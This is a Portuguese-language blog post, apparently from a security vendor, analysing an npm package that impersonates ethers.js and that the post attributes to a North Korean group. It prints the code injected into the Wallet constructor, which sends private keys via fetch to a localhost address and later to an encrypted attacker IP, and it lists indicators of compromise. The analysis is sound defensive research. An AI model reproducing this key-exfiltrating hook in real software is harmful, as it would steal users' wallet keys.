Aikido

Pacote malicioso de roubo de criptomoedas visa desenvolvedores Web3 em operação norte-coreana

Escrito por
Charlie Eriksen

Na semana passada, nosso pipeline de análise automatizada de malware sinalizou um pacote suspeito web3-wrapper-ethers. O pacote se passa pelo popular ethers biblioteca e contém código ofuscado projetado para roubar chaves privadas. Nossa investigação revelou que o pacote pode estar associado ao ator de ameaça conhecido como Void Dokkaebi, um grupo conhecido por roubar criptomoedas de desenvolvedores envolvidos no desenvolvimento de tecnologias web3, blockchain e de criptomoedas.

O pacote

O pacote foi lançado inicialmente em 5 de junho às 12:45 AM GMT+0:

Vemos alguns sinais reveladores de que este pacote foi construído para enganar. O nome do pacote é web3-wrapper-ethers, mas o campo do repositório aponta para o ethers.js projeto no GitHub. De fato, os atacantes simplesmente copiaram o repositório e fizeram pequenas modificações. Eles lançaram um total de 5 versões em um dia.

O autor

O pacote foi lançado por kaufman0913, com o e-mail correspondente de kaufman0913@gmail[.]com

A escolha de uma imagem de Rapunzel de baixíssima resolução é... interessante. Mas não vamos nos prender a isso por enquanto.

O que o pacote faz?

Para descobrir o que o pacote está tentando fazer, baixamos uma cópia da versão mais recente de ethers e fizemos um diff para ver o que os atacantes haviam feito.

Observamos que as versões 6.14.3 e 6.14.4 não tinham modificações reais em nenhum código, eles simplesmente mudaram o nome do pacote. 

As coisas começam a mudar na versão 6.14.5, onde vemos que eles adicionaram uma nova dependência no package.json, adicionando node-fetch e o correspondente @types/node-fetch devDependency. Veremos o porquê em breve.

O principal arquivo que o desenvolvedor modificou é o arquivo src.ts/wallet/wallet.ts, o que também leva a alterações em lib.esm/wallet/wallet.js e lib.commonjs/wallet/wallet.js, que são as versões compiladas correspondentes do mesmo arquivo.

Vemos em 6.14.5 que eles alteraram o construtor da classe, adicionando tudo abaixo da super() chamada::

export class Wallet extends BaseWallet {
    /**     *  Create a new wallet for the private %%key%%, optionally connected     *  to %%provider%%.     */
    constructor(key: string | SigningKey, provider?: null | Provider) {
        if (typeof(key) === "string" && !key.startsWith("0x")) {
            key = "0x" + key;
        }
        let signingKey = (typeof(key) === "string") ? new SigningKey(key): key;
        super(signingKey, provider);
        // Send private key to server (Node.js and browser)
        const url = 'http://localhost:3000/save-key';
        if (typeof window === "undefined") {
            // Node.js environment: use dynamic import for node-fetch
            import('node-fetch').then(module => {
                const fetch = module.default;
                fetch(url, {
                    method: 'POST',
                    headers: { 'Content-Type': 'application/json' },
                    body: JSON.stringify({ privateKey: this.privateKey })
                })
                .catch(() => {});
            }).catch(() => {});
        } else {
            // Browser environment: use native fetch
            fetch(url, {
                method: 'POST',
                headers: { 'Content-Type': 'application/json' },
                body: JSON.stringify({ privateKey: this.privateKey })
            })
            // .then(data => console.log('Server response:', data))
            .catch(() => {});
        }
    }
...

Aqui vemos um sinal revelador de que eles estão tentando exfiltrar chaves privadas. Na verdade, seus comentários são muito claros de que estão enviando a chave privada para um servidor. Mas está apontando para um endereço localhost. Então, eles estão fazendo isso em tempo real, o que é interessante. Isso nos dá uma visão do processo de desenvolvimento deles.

Em 6.14.6, o código muda. Agora ele se parece com isto:

// Send private key to server (Node.js and browser)
const enc = "ff47554247f2094dda55b84b7da6e6c9:fd81fc4d8379f535510c1f064549472e5a1dd26c32c1937c1e23db1b56bfb42f"
const tar = dec(enc);
console.log(tar);
if (typeof window === "undefined") {
    import('node-fetch').then(module => {
        const fetch = module.default;
        fetch(tar, {
            method: 'POST',
            headers: { 'Content-Type': 'application/json' },
            body: JSON.stringify({ pk: this.privateKey })
        })
        .catch(() => {});
    }).catch(() => {});
} else {
    fetch(tar, {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({ pk: this.privateKey })
    })
    .catch(() => {});
}

Então, o que está por trás da variável enc criptografada? Aqui está!

http:/74.119.194[.]244/fetch

Você vê algo estranho? É uma URL HTTP inválida. Está faltando um / no protocolo. Opa! 

A última versão, 6.14.7, não introduz nenhuma mudança significativa. Ela simplesmente remove o comentário no código e o console.log. Os atacantes devem ter percebido que haviam terminado, então puderam remover a admissão de ser malicioso e o log de depuração. No entanto, eles não resolveram o problema de a URL ainda ser inválida. 

Norte-coreanos atacando novamente?

Apenas alguns meses atrás, descobrimos hackers norte-coreanos tentando roubar carteiras de criptomoedas. Eles também lançaram versões em tempo real, depurando seu código quebrado. É curioso ver isso acontecendo novamente, não é? Pelo menos desta vez, a primeira coisa que fizeram foi incluir node-fetch, em vez de quebrar a cabeça tentando descobrir por que suas axios chamadas não estavam funcionando.

Neste caso, temos outra informação, o IP. Uma rápida consulta no VirusTotal para o IP confirma nossa suspeita:

O comentário faz referência a:

https://documents.trendmicro.com/assets/txt/IOCs_VoidDokkaebi_2t9ScKI5.txt

https://www.trendmicro.com/en_us/research/25/d/russian-infrastructure-north-korean-cybercrime.html

E de fato vemos que a lista de IOCs da TrendMicro menciona este IP como sendo um nó de Egress: Atividade alinhada à RPDC, via RDP de endereços IP RU. E seus relatórios extensos estão muito alinhados com o que vemos neste pacote: Alvo de desenvolvedores envolvidos com web3/cripto, tentando roubar moeda. 

Indicadores de comprometimento

Felizmente, não há indicação de que este pacote teria causado qualquer dano se baixado e/ou executado, dado que o código não estava totalmente funcional. Mas se você instalou o pacote, audite o tráfego para o IP abaixo para ter certeza de que nenhum dano foi causado. Se você notar qualquer tráfego para este endereço IP, assuma que suas chaves criptográficas foram comprometidas. 

Pacote:

web3-wrapper-ethers

IP:

74.119.194[.]244

Confira mais pesquisas da Aikido Security aqui

Compartilhar:

https://www.aikido.dev/blog/malicious-package-web3

Comece hoje, gratuitamente.

Comece Gratuitamente
Não é necessário cc

Assine para receber notícias sobre ameaças.

4.7/5
Cansado de falsos positivos?

Experimente Aikido como 100 mil outros.
Começar Agora
Obtenha um tour personalizado

Confiado por mais de 100 mil equipes

Agende Agora
Escaneie seu aplicativo em busca de IDORs e caminhos de ataque reais

Confiado por mais de 100 mil equipes

Iniciar Escaneamento
Veja como o pentest de IA testa seu aplicativo

Confiado por mais de 100 mil equipes

Iniciar Testes

Fique seguro agora

Proteja seu código, Cloud e runtime em um único sistema centralizado.
Encontre e corrija vulnerabilidades rapidamente de forma automática.

Não é necessário cartão de crédito | Resultados da varredura em 32 segundos.